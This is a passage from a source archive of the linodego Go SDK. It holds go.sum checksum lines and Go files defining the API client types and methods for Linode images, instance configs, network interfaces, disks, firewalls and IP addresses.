golang.org/x/crypto v0.27.0/go.mod h1:1Xngt8kV6Dvbssa53Ziq6Eqn0HqbZi5Z6R0ZpwQzt70= golang.org/x/crypto v0.28.0 h1:GBDwsMXVQi34v5CCYUm2jkJvu4cbtru2U4TN2PSyQnw= golang.org/x/crypto v0.28.0/go.mod h1:rmgy+3RHxRZMyY0jjAJShp2zgEdOqj2AO7U0pYmeQ7U= golang.org/x/crypto v0.29.0/go.mod h1:+F4F4N5hv6v38hfeYwTdx20oUvLLc+QfrE9Ax9HtgRg= golang.org/x/crypto v0.30.0 h1:RwoQn3GkWiMkzlX562cLB7OxWvjH1L8xutO2WoJcRoY= golang.org/x/crypto v0.30.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U= golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc= golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc= golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA= golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/mod v0.22.0 h1:D4nJWe9zXqHOmWqj4VMOJhvzj7bEZg4wEYa759z1pH4= golang.org/x/mod v0.22.0/go.mod h1:6SkKJ3Xj0I0BrPOZoBy3bdMptDDU9oJrpohJ3eWZ1fY= golang.org/x/net v0.27.0/go.mod h1:dDi0PyhWNoiUOrAS8uXv/vnScO4wnHQO4mj9fn/RytE= golang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4= golang.org/x/oauth2 v0.24.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI= golang.org/x/sync v0.7.0 h1:YsImfSBoP9QPYL0xyKJPq0gcaJdG3rInoqxTWbfQu9M= golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ= golang.org/x/sync v0.8.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sync v0.9.0 h1:fEo0HyrW1GIgZdpbhCRO0PkJajUS5H9IFUztCgEo2jQ= golang.org/x/sync v0.9.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ= golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.25.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2 h1:IRJeR9r1pYWsHKTRe/IInb7lYvbBVIqOgsX/u0mbOWY= golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE= golang.org/x/term v0.24.0/go.mod h1:lOBK/LVxemqiMij05LGJ0tzNr8xlmwBRJ81PX6wVLH8= golang.org/x/text v0.19.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY= golang.org/x/xerrors v0.0.0-20220907171357-04be3eba64a2 h1:H2TDz8ibqkAF6YGhCdN3jS9O0/s90v0rJh3X/OLHEUk= golang.org/x/xerrors v0.0.0-20220907171357-04be3eba64a2/go.mod h1:K8+ghG5WaK9qNqU5K3HdILfMLy1f3aNYFI/wnl100a8= google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c= google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= k8s.io/gengo v0.0.0-20230829151522-9cce18d56c01 h1:pWEwq4Asjm4vjW7vcsmijwBhOr1/shsbSYiWXmNGlks= k8s.io/gengo v0.0.0-20230829151522-9cce18d56c01/go.mod h1:FiNAH4ZV3gBg2Kwh89tzAEV2be7d5xI0vBa/VySYy3E= golang-github-linode-linodego-1.47.0/images.go000066400000000000000000000161501474652371000212100ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "io" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // ImageStatus represents the status of an Image. type ImageStatus string // ImageStatus options start with ImageStatus and include all Image statuses const ( ImageStatusCreating ImageStatus = "creating" ImageStatusPendingUpload ImageStatus = "pending_upload" ImageStatusAvailable ImageStatus = "available" ) // ImageRegionStatus represents the status of an Image's replica. type ImageRegionStatus string // ImageRegionStatus options start with ImageRegionStatus and // include all Image replica statuses const ( ImageRegionStatusAvailable ImageRegionStatus = "available" ImageRegionStatusCreating ImageRegionStatus = "creating" ImageRegionStatusPending ImageRegionStatus = "pending" ImageRegionStatusPendingReplication ImageRegionStatus = "pending replication" ImageRegionStatusPendingDeletion ImageRegionStatus = "pending deletion" ImageRegionStatusReplicating ImageRegionStatus = "replicating" ) // ImageRegion represents the status of an Image object in a given Region. type ImageRegion struct { Region string `json:"region"` Status ImageRegionStatus `json:"status"` } // Image represents a deployable Image object for use with Linode Instances type Image struct { ID string `json:"id"` CreatedBy string `json:"created_by"` Capabilities []string `json:"capabilities"` Label string `json:"label"` Description string `json:"description"` Type string `json:"type"` Vendor string `json:"vendor"` Status ImageStatus `json:"status"` Size int `json:"size"` TotalSize int `json:"total_size"` IsPublic bool `json:"is_public"` Deprecated bool `json:"deprecated"` Regions []ImageRegion `json:"regions"` Tags []string `json:"tags"` Updated *time.Time `json:"-"` Created *time.Time `json:"-"` Expiry *time.Time `json:"-"` EOL *time.Time `json:"-"` } // ImageCreateOptions fields are those accepted by CreateImage type ImageCreateOptions struct { DiskID int `json:"disk_id"` Label string `json:"label"` Description string `json:"description,omitempty"` CloudInit bool `json:"cloud_init,omitempty"` Tags *[]string `json:"tags,omitempty"` } // ImageUpdateOptions fields are those accepted by UpdateImage type ImageUpdateOptions struct { Label string `json:"label,omitempty"` Description *string `json:"description,omitempty"` Tags *[]string `json:"tags,omitempty"` } // ImageReplicateOptions represents the options accepted by the // ReplicateImage(...) function. type ImageReplicateOptions struct { Regions []string `json:"regions"` } // ImageCreateUploadResponse fields are those returned by CreateImageUpload type ImageCreateUploadResponse struct { Image *Image `json:"image"` UploadTo string `json:"upload_to"` } // ImageCreateUploadOptions fields are those accepted by CreateImageUpload type ImageCreateUploadOptions struct { Region string `json:"region"` Label string `json:"label"` Description string `json:"description,omitempty"` CloudInit bool `json:"cloud_init,omitempty"` Tags *[]string `json:"tags,omitempty"` } // ImageUploadOptions fields are those accepted by UploadImage type ImageUploadOptions struct { Region string `json:"region"` Label string `json:"label"` Description string `json:"description,omitempty"` CloudInit bool `json:"cloud_init"` Tags *[]string `json:"tags,omitempty"` Image io.Reader } // UnmarshalJSON implements the json.Unmarshaler interface func (i *Image) UnmarshalJSON(b []byte) error { type Mask Image p := struct { *Mask Updated *parseabletime.ParseableTime `json:"updated"` Created *parseabletime.ParseableTime `json:"created"` Expiry *parseabletime.ParseableTime `json:"expiry"` EOL *parseabletime.ParseableTime `json:"eol"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Updated = (*time.Time)(p.Updated) i.Created = (*time.Time)(p.Created) i.Expiry = (*time.Time)(p.Expiry) i.EOL = (*time.Time)(p.EOL) return nil } // GetUpdateOptions converts an Image to ImageUpdateOptions for use in UpdateImage func (i Image) GetUpdateOptions() (iu ImageUpdateOptions) { iu.Label = i.Label iu.Description = copyString(&i.Description) return } // ListImages lists Images. func (c *Client) ListImages(ctx context.Context, opts *ListOptions) ([]Image, error) { return getPaginatedResults[Image]( ctx, c, "images", opts, ) } // GetImage gets the Image with the provided ID. func (c *Client) GetImage(ctx context.Context, imageID string) (*Image, error) { return doGETRequest[Image]( ctx, c, formatAPIPath("images/%s", imageID), ) } // CreateImage creates an Image. func (c *Client) CreateImage(ctx context.Context, opts ImageCreateOptions) (*Image, error) { return doPOSTRequest[Image]( ctx, c, "images", opts, ) } // UpdateImage updates the Image with the specified id. func (c *Client) UpdateImage(ctx context.Context, imageID string, opts ImageUpdateOptions) (*Image, error) { return doPUTRequest[Image]( ctx, c, formatAPIPath("images/%s", imageID), opts, ) } // ReplicateImage replicates an image to a given set of regions. func (c *Client) ReplicateImage(ctx context.Context, imageID string, opts ImageReplicateOptions) (*Image, error) { return doPOSTRequest[Image]( ctx, c, formatAPIPath("images/%s/regions", imageID), opts, ) } // DeleteImage deletes the Image with the specified id. func (c *Client) DeleteImage(ctx context.Context, imageID string) error { return doDELETERequest( ctx, c, formatAPIPath("images/%s", imageID), ) } // CreateImageUpload creates an Image and an upload URL. func (c *Client) CreateImageUpload(ctx context.Context, opts ImageCreateUploadOptions) (*Image, string, error) { result, err := doPOSTRequest[ImageCreateUploadResponse]( ctx, c, "images/upload", opts, ) if err != nil { return nil, "", err } return result.Image, result.UploadTo, nil } // UploadImageToURL uploads the given image to the given upload URL. func (c *Client) UploadImageToURL(ctx context.Context, uploadURL string, image io.Reader) error { // Linode-specific headers do not need to be sent to this endpoint req := resty.New().SetDebug(c.resty.Debug).R(). SetContext(ctx). SetContentLength(true). SetHeader("Content-Type", "application/octet-stream"). SetBody(image) _, err := coupleAPIErrors(req. Put(uploadURL)) return err } // UploadImage creates and uploads an image. func (c *Client) UploadImage(ctx context.Context, opts ImageUploadOptions) (*Image, error) { image, uploadURL, err := c.CreateImageUpload(ctx, ImageCreateUploadOptions{ Label: opts.Label, Region: opts.Region, Description: opts.Description, CloudInit: opts.CloudInit, Tags: opts.Tags, }) if err != nil { return nil, err } return image, c.UploadImageToURL(ctx, uploadURL, opts.Image) } golang-github-linode-linodego-1.47.0/instance_config_interfaces.go000066400000000000000000000121121474652371000252710ustar00rootroot00000000000000package linodego import ( "context" ) // InstanceConfigInterface contains information about a configuration's network interface type InstanceConfigInterface struct { ID int `json:"id"` IPAMAddress string `json:"ipam_address"` Label string `json:"label"` Purpose ConfigInterfacePurpose `json:"purpose"` Primary bool `json:"primary"` Active bool `json:"active"` VPCID *int `json:"vpc_id"` SubnetID *int `json:"subnet_id"` IPv4 *VPCIPv4 `json:"ipv4"` IPRanges []string `json:"ip_ranges"` } type VPCIPv4 struct { VPC string `json:"vpc,omitempty"` NAT1To1 *string `json:"nat_1_1,omitempty"` } type InstanceConfigInterfaceCreateOptions struct { IPAMAddress string `json:"ipam_address,omitempty"` Label string `json:"label,omitempty"` Purpose ConfigInterfacePurpose `json:"purpose,omitempty"` Primary bool `json:"primary,omitempty"` SubnetID *int `json:"subnet_id,omitempty"` IPv4 *VPCIPv4 `json:"ipv4,omitempty"` IPRanges []string `json:"ip_ranges,omitempty"` } type InstanceConfigInterfaceUpdateOptions struct { Primary bool `json:"primary,omitempty"` IPv4 *VPCIPv4 `json:"ipv4,omitempty"` IPRanges *[]string `json:"ip_ranges,omitempty"` } type InstanceConfigInterfacesReorderOptions struct { IDs []int `json:"ids"` } func getInstanceConfigInterfacesCreateOptionsList( interfaces []InstanceConfigInterface, ) []InstanceConfigInterfaceCreateOptions { interfaceOptsList := make([]InstanceConfigInterfaceCreateOptions, len(interfaces)) for index, configInterface := range interfaces { interfaceOptsList[index] = configInterface.GetCreateOptions() } return interfaceOptsList } func (i InstanceConfigInterface) GetCreateOptions() InstanceConfigInterfaceCreateOptions { opts := InstanceConfigInterfaceCreateOptions{ Label: i.Label, Purpose: i.Purpose, Primary: i.Primary, SubnetID: i.SubnetID, } if len(i.IPRanges) > 0 { opts.IPRanges = i.IPRanges } if i.Purpose == InterfacePurposeVPC && i.IPv4 != nil { opts.IPv4 = &VPCIPv4{ VPC: i.IPv4.VPC, NAT1To1: i.IPv4.NAT1To1, } } opts.IPAMAddress = i.IPAMAddress return opts } func (i InstanceConfigInterface) GetUpdateOptions() InstanceConfigInterfaceUpdateOptions { opts := InstanceConfigInterfaceUpdateOptions{ Primary: i.Primary, } if i.Purpose == InterfacePurposeVPC && i.IPv4 != nil { opts.IPv4 = &VPCIPv4{ VPC: i.IPv4.VPC, NAT1To1: i.IPv4.NAT1To1, } } if i.IPRanges != nil { // Copy the slice to prevent accidental // mutations copiedIPRanges := make([]string, len(i.IPRanges)) copy(copiedIPRanges, i.IPRanges) opts.IPRanges = &copiedIPRanges } return opts } func (c *Client) AppendInstanceConfigInterface( ctx context.Context, linodeID int, configID int, opts InstanceConfigInterfaceCreateOptions, ) (*InstanceConfigInterface, error) { e := formatAPIPath("/linode/instances/%d/configs/%d/interfaces", linodeID, configID) response, err := doPOSTRequest[InstanceConfigInterface](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } func (c *Client) GetInstanceConfigInterface( ctx context.Context, linodeID int, configID int, interfaceID int, ) (*InstanceConfigInterface, error) { e := formatAPIPath( "linode/instances/%d/configs/%d/interfaces/%d", linodeID, configID, interfaceID, ) response, err := doGETRequest[InstanceConfigInterface](ctx, c, e) if err != nil { return nil, err } return response, nil } func (c *Client) ListInstanceConfigInterfaces( ctx context.Context, linodeID int, configID int, ) ([]InstanceConfigInterface, error) { e := formatAPIPath( "linode/instances/%d/configs/%d/interfaces", linodeID, configID, ) response, err := doGETRequest[[]InstanceConfigInterface](ctx, c, e) if err != nil { return nil, err } return *response, nil } func (c *Client) UpdateInstanceConfigInterface( ctx context.Context, linodeID int, configID int, interfaceID int, opts InstanceConfigInterfaceUpdateOptions, ) (*InstanceConfigInterface, error) { e := formatAPIPath( "linode/instances/%d/configs/%d/interfaces/%d", linodeID, configID, interfaceID, ) response, err := doPUTRequest[InstanceConfigInterface](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } func (c *Client) DeleteInstanceConfigInterface( ctx context.Context, linodeID int, configID int, interfaceID int, ) error { e := formatAPIPath( "linode/instances/%d/configs/%d/interfaces/%d", linodeID, configID, interfaceID, ) err := doDELETERequest(ctx, c, e) return err } func (c *Client) ReorderInstanceConfigInterfaces( ctx context.Context, linodeID int, configID int, opts InstanceConfigInterfacesReorderOptions, ) error { e := formatAPIPath( "linode/instances/%d/configs/%d/interfaces/order", linodeID, configID, ) _, err := doPOSTRequest[OAuthClient](ctx, c, e, opts) return err } golang-github-linode-linodego-1.47.0/instance_configs.go000066400000000000000000000176601474652371000232660ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // InstanceConfig represents all of the settings that control the boot and run configuration of a Linode Instance type InstanceConfig struct { ID int `json:"id"` Label string `json:"label"` Comments string `json:"comments"` Devices *InstanceConfigDeviceMap `json:"devices"` Helpers *InstanceConfigHelpers `json:"helpers"` Interfaces []InstanceConfigInterface `json:"interfaces"` MemoryLimit int `json:"memory_limit"` Kernel string `json:"kernel"` InitRD *int `json:"init_rd"` RootDevice string `json:"root_device"` RunLevel string `json:"run_level"` VirtMode string `json:"virt_mode"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` } // InstanceConfigDevice contains either the DiskID or VolumeID assigned to a Config Device type InstanceConfigDevice struct { DiskID int `json:"disk_id,omitempty"` VolumeID int `json:"volume_id,omitempty"` } // InstanceConfigDeviceMap contains SDA-SDH InstanceConfigDevice settings type InstanceConfigDeviceMap struct { SDA *InstanceConfigDevice `json:"sda,omitempty"` SDB *InstanceConfigDevice `json:"sdb,omitempty"` SDC *InstanceConfigDevice `json:"sdc,omitempty"` SDD *InstanceConfigDevice `json:"sdd,omitempty"` SDE *InstanceConfigDevice `json:"sde,omitempty"` SDF *InstanceConfigDevice `json:"sdf,omitempty"` SDG *InstanceConfigDevice `json:"sdg,omitempty"` SDH *InstanceConfigDevice `json:"sdh,omitempty"` } // InstanceConfigHelpers are Instance Config options that control Linux distribution specific tweaks type InstanceConfigHelpers struct { UpdateDBDisabled bool `json:"updatedb_disabled"` Distro bool `json:"distro"` ModulesDep bool `json:"modules_dep"` Network bool `json:"network"` DevTmpFsAutomount bool `json:"devtmpfs_automount"` } // ConfigInterfacePurpose options start with InterfacePurpose and include all known interface purpose types type ConfigInterfacePurpose string const ( InterfacePurposePublic ConfigInterfacePurpose = "public" InterfacePurposeVLAN ConfigInterfacePurpose = "vlan" InterfacePurposeVPC ConfigInterfacePurpose = "vpc" ) // InstanceConfigCreateOptions are InstanceConfig settings that can be used at creation type InstanceConfigCreateOptions struct { Label string `json:"label,omitempty"` Comments string `json:"comments,omitempty"` Devices InstanceConfigDeviceMap `json:"devices"` Helpers *InstanceConfigHelpers `json:"helpers,omitempty"` Interfaces []InstanceConfigInterfaceCreateOptions `json:"interfaces"` MemoryLimit int `json:"memory_limit,omitempty"` Kernel string `json:"kernel,omitempty"` InitRD int `json:"init_rd,omitempty"` RootDevice *string `json:"root_device,omitempty"` RunLevel string `json:"run_level,omitempty"` VirtMode string `json:"virt_mode,omitempty"` } // InstanceConfigUpdateOptions are InstanceConfig settings that can be used in updates type InstanceConfigUpdateOptions struct { Label string `json:"label,omitempty"` Comments string `json:"comments"` Devices *InstanceConfigDeviceMap `json:"devices,omitempty"` Helpers *InstanceConfigHelpers `json:"helpers,omitempty"` Interfaces []InstanceConfigInterfaceCreateOptions `json:"interfaces"` // MemoryLimit 0 means unlimitted, this is not omitted MemoryLimit int `json:"memory_limit"` Kernel string `json:"kernel,omitempty"` // InitRD is nullable, permit the sending of null InitRD *int `json:"init_rd"` RootDevice string `json:"root_device,omitempty"` RunLevel string `json:"run_level,omitempty"` VirtMode string `json:"virt_mode,omitempty"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *InstanceConfig) UnmarshalJSON(b []byte) error { type Mask InstanceConfig p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) i.Updated = (*time.Time)(p.Updated) return nil } // GetCreateOptions converts a InstanceConfig to InstanceConfigCreateOptions for use in CreateInstanceConfig func (i InstanceConfig) GetCreateOptions() InstanceConfigCreateOptions { initrd := 0 if i.InitRD != nil { initrd = *i.InitRD } return InstanceConfigCreateOptions{ Label: i.Label, Comments: i.Comments, Devices: *i.Devices, Helpers: i.Helpers, Interfaces: getInstanceConfigInterfacesCreateOptionsList(i.Interfaces), MemoryLimit: i.MemoryLimit, Kernel: i.Kernel, InitRD: initrd, RootDevice: copyString(&i.RootDevice), RunLevel: i.RunLevel, VirtMode: i.VirtMode, } } // GetUpdateOptions converts a InstanceConfig to InstanceConfigUpdateOptions for use in UpdateInstanceConfig func (i InstanceConfig) GetUpdateOptions() InstanceConfigUpdateOptions { return InstanceConfigUpdateOptions{ Label: i.Label, Comments: i.Comments, Devices: i.Devices, Helpers: i.Helpers, Interfaces: getInstanceConfigInterfacesCreateOptionsList(i.Interfaces), MemoryLimit: i.MemoryLimit, Kernel: i.Kernel, InitRD: copyInt(i.InitRD), RootDevice: i.RootDevice, RunLevel: i.RunLevel, VirtMode: i.VirtMode, } } // ListInstanceConfigs lists InstanceConfigs func (c *Client) ListInstanceConfigs(ctx context.Context, linodeID int, opts *ListOptions) ([]InstanceConfig, error) { response, err := getPaginatedResults[InstanceConfig](ctx, c, formatAPIPath("linode/instances/%d/configs", linodeID), opts) if err != nil { return nil, err } return response, nil } // GetInstanceConfig gets the template with the provided ID func (c *Client) GetInstanceConfig(ctx context.Context, linodeID int, configID int) (*InstanceConfig, error) { e := formatAPIPath("linode/instances/%d/configs/%d", linodeID, configID) response, err := doGETRequest[InstanceConfig](ctx, c, e) if err != nil { return nil, err } return response, nil } // CreateInstanceConfig creates a new InstanceConfig for the given Instance func (c *Client) CreateInstanceConfig(ctx context.Context, linodeID int, opts InstanceConfigCreateOptions) (*InstanceConfig, error) { e := formatAPIPath("linode/instances/%d/configs", linodeID) response, err := doPOSTRequest[InstanceConfig](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // UpdateInstanceConfig update an InstanceConfig for the given Instance func (c *Client) UpdateInstanceConfig(ctx context.Context, linodeID int, configID int, opts InstanceConfigUpdateOptions) (*InstanceConfig, error) { e := formatAPIPath("linode/instances/%d/configs/%d", linodeID, configID) response, err := doPUTRequest[InstanceConfig](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // RenameInstanceConfig renames an InstanceConfig func (c *Client) RenameInstanceConfig(ctx context.Context, linodeID int, configID int, label string) (*InstanceConfig, error) { return c.UpdateInstanceConfig(ctx, linodeID, configID, InstanceConfigUpdateOptions{Label: label}) } // DeleteInstanceConfig deletes a Linode InstanceConfig func (c *Client) DeleteInstanceConfig(ctx context.Context, linodeID int, configID int) error { e := formatAPIPath("linode/instances/%d/configs/%d", linodeID, configID) err := doDELETERequest(ctx, c, e) return err } golang-github-linode-linodego-1.47.0/instance_disks.go000066400000000000000000000132521474652371000227440ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // InstanceDisk represents an Instance Disk object type InstanceDisk struct { ID int `json:"id"` Label string `json:"label"` Status DiskStatus `json:"status"` Size int `json:"size"` Filesystem DiskFilesystem `json:"filesystem"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` // NOTE: Disk encryption may not currently be available to all users. DiskEncryption InstanceDiskEncryption `json:"disk_encryption"` } // DiskFilesystem constants start with Filesystem and include Linode API Filesystems type DiskFilesystem string // DiskFilesystem constants represent the filesystems types an Instance Disk may use const ( FilesystemRaw DiskFilesystem = "raw" FilesystemSwap DiskFilesystem = "swap" FilesystemExt3 DiskFilesystem = "ext3" FilesystemExt4 DiskFilesystem = "ext4" FilesystemInitrd DiskFilesystem = "initrd" ) // DiskStatus constants have the prefix "Disk" and include Linode API Instance Disk Status type DiskStatus string // DiskStatus constants represent the status values an Instance Disk may have const ( DiskReady DiskStatus = "ready" DiskNotReady DiskStatus = "not ready" DiskDeleting DiskStatus = "deleting" ) // InstanceDiskCreateOptions are InstanceDisk settings that can be used at creation type InstanceDiskCreateOptions struct { Label string `json:"label"` Size int `json:"size"` // Image is optional, but requires RootPass if provided Image string `json:"image,omitempty"` RootPass string `json:"root_pass,omitempty"` Filesystem string `json:"filesystem,omitempty"` AuthorizedKeys []string `json:"authorized_keys,omitempty"` AuthorizedUsers []string `json:"authorized_users,omitempty"` StackscriptID int `json:"stackscript_id,omitempty"` StackscriptData map[string]string `json:"stackscript_data,omitempty"` } // InstanceDiskUpdateOptions are InstanceDisk settings that can be used in updates type InstanceDiskUpdateOptions struct { Label string `json:"label"` } type InstanceDiskCloneOptions struct{} // ListInstanceDisks lists InstanceDisks func (c *Client) ListInstanceDisks(ctx context.Context, linodeID int, opts *ListOptions) ([]InstanceDisk, error) { response, err := getPaginatedResults[InstanceDisk](ctx, c, formatAPIPath("linode/instances/%d/disks", linodeID), opts) if err != nil { return nil, err } return response, nil } // UnmarshalJSON implements the json.Unmarshaler interface func (i *InstanceDisk) UnmarshalJSON(b []byte) error { type Mask InstanceDisk p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) i.Updated = (*time.Time)(p.Updated) return nil } // GetInstanceDisk gets the template with the provided ID func (c *Client) GetInstanceDisk(ctx context.Context, linodeID int, diskID int) (*InstanceDisk, error) { e := formatAPIPath("linode/instances/%d/disks/%d", linodeID, diskID) response, err := doGETRequest[InstanceDisk](ctx, c, e) if err != nil { return nil, err } return response, nil } // CreateInstanceDisk creates a new InstanceDisk for the given Instance func (c *Client) CreateInstanceDisk(ctx context.Context, linodeID int, opts InstanceDiskCreateOptions) (*InstanceDisk, error) { e := formatAPIPath("linode/instances/%d/disks", linodeID) response, err := doPOSTRequest[InstanceDisk](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // UpdateInstanceDisk creates a new InstanceDisk for the given Instance func (c *Client) UpdateInstanceDisk(ctx context.Context, linodeID int, diskID int, opts InstanceDiskUpdateOptions) (*InstanceDisk, error) { e := formatAPIPath("linode/instances/%d/disks/%d", linodeID, diskID) response, err := doPUTRequest[InstanceDisk](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // RenameInstanceDisk renames an InstanceDisk func (c *Client) RenameInstanceDisk(ctx context.Context, linodeID int, diskID int, label string) (*InstanceDisk, error) { return c.UpdateInstanceDisk(ctx, linodeID, diskID, InstanceDiskUpdateOptions{Label: label}) } // ResizeInstanceDisk resizes the size of the Instance disk func (c *Client) ResizeInstanceDisk(ctx context.Context, linodeID int, diskID int, size int) error { opts := map[string]any{ "size": size, } e := formatAPIPath("linode/instances/%d/disks/%d/resize", linodeID, diskID) _, err := doPOSTRequest[InstanceDisk](ctx, c, e, opts) return err } // PasswordResetInstanceDisk resets the "root" account password on the Instance disk func (c *Client) PasswordResetInstanceDisk(ctx context.Context, linodeID int, diskID int, password string) error { opts := map[string]any{ "password": password, } e := formatAPIPath("linode/instances/%d/disks/%d/password", linodeID, diskID) _, err := doPOSTRequest[InstanceDisk](ctx, c, e, opts) return err } // DeleteInstanceDisk deletes a Linode Instance Disk func (c *Client) DeleteInstanceDisk(ctx context.Context, linodeID int, diskID int) error { e := formatAPIPath("linode/instances/%d/disks/%d", linodeID, diskID) err := doDELETERequest(ctx, c, e) return err } // CloneInstanceDisk clones the given InstanceDisk for the given Instance func (c *Client) CloneInstanceDisk(ctx context.Context, linodeID, diskID int, opts InstanceDiskCloneOptions) (*InstanceDisk, error) { e := formatAPIPath("linode/instances/%d/disks/%d/clone", linodeID, diskID) return doPOSTRequest[InstanceDisk](ctx, c, e, opts) } golang-github-linode-linodego-1.47.0/instance_firewalls.go000066400000000000000000000006451474652371000236210ustar00rootroot00000000000000package linodego import ( "context" ) // ListInstanceFirewalls returns a paginated list of Cloud Firewalls for linodeID func (c *Client) ListInstanceFirewalls(ctx context.Context, linodeID int, opts *ListOptions) ([]Firewall, error) { response, err := getPaginatedResults[Firewall](ctx, c, formatAPIPath("linode/instances/%d/firewalls", linodeID), opts) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/instance_ips.go000066400000000000000000000126571474652371000224320ustar00rootroot00000000000000package linodego import ( "context" ) // InstanceIPAddressResponse contains the IPv4 and IPv6 details for an Instance type InstanceIPAddressResponse struct { IPv4 *InstanceIPv4Response `json:"ipv4"` IPv6 *InstanceIPv6Response `json:"ipv6"` } // InstanceIPv4Response contains the details of all IPv4 addresses associated with an Instance type InstanceIPv4Response struct { Public []*InstanceIP `json:"public"` Private []*InstanceIP `json:"private"` Shared []*InstanceIP `json:"shared"` Reserved []*InstanceIP `json:"reserved"` VPC []*VPCIP `json:"vpc"` } // InstanceIP represents an Instance IP with additional DNS and networking details type InstanceIP struct { Address string `json:"address"` Gateway string `json:"gateway"` SubnetMask string `json:"subnet_mask"` Prefix int `json:"prefix"` Type InstanceIPType `json:"type"` Public bool `json:"public"` RDNS string `json:"rdns"` LinodeID int `json:"linode_id"` Region string `json:"region"` VPCNAT1To1 *InstanceIPNAT1To1 `json:"vpc_nat_1_1"` Reserved bool `json:"reserved"` } // VPCIP represents a private IP address in a VPC subnet with additional networking details type VPCIP struct { Address *string `json:"address"` AddressRange *string `json:"address_range"` Gateway string `json:"gateway"` SubnetMask string `json:"subnet_mask"` Prefix int `json:"prefix"` LinodeID int `json:"linode_id"` Region string `json:"region"` Active bool `json:"active"` NAT1To1 *string `json:"nat_1_1"` VPCID int `json:"vpc_id"` SubnetID int `json:"subnet_id"` ConfigID int `json:"config_id"` InterfaceID int `json:"interface_id"` } // InstanceIPv6Response contains the IPv6 addresses and ranges for an Instance type InstanceIPv6Response struct { LinkLocal *InstanceIP `json:"link_local"` SLAAC *InstanceIP `json:"slaac"` Global []IPv6Range `json:"global"` } // InstanceIPNAT1To1 contains information about the NAT 1:1 mapping // of a public IP address to a VPC subnet. type InstanceIPNAT1To1 struct { Address string `json:"address"` SubnetID int `json:"subnet_id"` VPCID int `json:"vpc_id"` } // IPv6Range represents a range of IPv6 addresses routed to a single Linode in a given Region type IPv6Range struct { Range string `json:"range"` Region string `json:"region"` Prefix int `json:"prefix"` RouteTarget string `json:"route_target"` // These fields are only returned by GetIPv6Range(...) IsBGP bool `json:"is_bgp"` Linodes []int `json:"linodes"` } type InstanceReserveIPOptions struct { Type string `json:"type"` Public bool `json:"public"` Address string `json:"address"` } // InstanceIPType constants start with IPType and include Linode Instance IP Types type InstanceIPType string // InstanceIPType constants represent the IP types an Instance IP may be const ( IPTypeIPv4 InstanceIPType = "ipv4" IPTypeIPv6 InstanceIPType = "ipv6" IPTypeIPv6Pool InstanceIPType = "ipv6/pool" IPTypeIPv6Range InstanceIPType = "ipv6/range" ) // GetInstanceIPAddresses gets the IPAddresses for a Linode instance func (c *Client) GetInstanceIPAddresses(ctx context.Context, linodeID int) (*InstanceIPAddressResponse, error) { e := formatAPIPath("linode/instances/%d/ips", linodeID) response, err := 